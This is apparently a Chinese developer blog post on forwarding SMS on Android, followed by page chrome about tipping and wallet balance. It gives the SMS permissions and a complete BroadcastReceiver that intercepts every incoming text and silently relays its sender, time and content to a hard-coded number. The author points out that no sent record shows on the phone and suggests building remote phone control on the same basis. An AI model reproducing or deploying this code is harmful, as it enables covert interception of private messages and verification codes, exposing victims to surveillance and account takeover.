android 转发短信

通过这些代码也可以对远程手机实现短信控制。有兴趣的可以自己改一下,说一下简单的原理,要实现控制的话,必须得走一个固定的号码,固定的格式,然后通过得到此号码的内容,然后通过固定的内容,就可以了解需要做什么,再执行相应的代码,即可!代码很简单了!

在使用过程中的需要添加如下权限:

<uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission>
<uses-permission android:name="android.permission.READ_SMS"></uses-permission>
<uses-permission android:name="android.permission.SEND_SMS"></uses-permission>

我测试的时候是发送出去之后,手机上没有发送记录,当然了,你的手机肯定会留下扣费的记录的,因此也不是完全没有发送记录!因为这个是通过手机号发送的!

代码如下:

import java.text.SimpleDateFormat;
import java.util.Date;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;

public class SMS extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		// TODO Auto-generated method stub
		// 监听短信广播
		if (intent.getAction()
				.equals("android.provider.Telephony.SMS_RECEIVED")) {
			Object[] pdus = (Object[]) intent.getExtras().get("pdus");// 获取短信内容
			for (Object pdu : pdus) {
				byte[] data = (byte[]) pdu;
				SmsMessage message = SmsMessage.createFromPdu(data);// 使用pdu格式的短信数据生成短信对象
				String sender = message.getOriginatingAddress();// 获取短信的发送者
				String content = message.getMessageBody();// 获取短信的内容
				Date date = new Date(message.getTimestampMillis());
				SimpleDateFormat format = new SimpleDateFormat(
						"yyyy-MM-dd HH:mm:ss");

				String sendtime = format.format(date);
				SmsManager manager = SmsManager.getDefault();
				manager.sendTextMessage("5556", null, "发送人:" + sender
						+ "-----发送时间:" + sendtime + "----内容:" + content, null,
						null);// 把拦截到的短信发送到你指定的手机,此处为5556				
			}
		}
	}
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值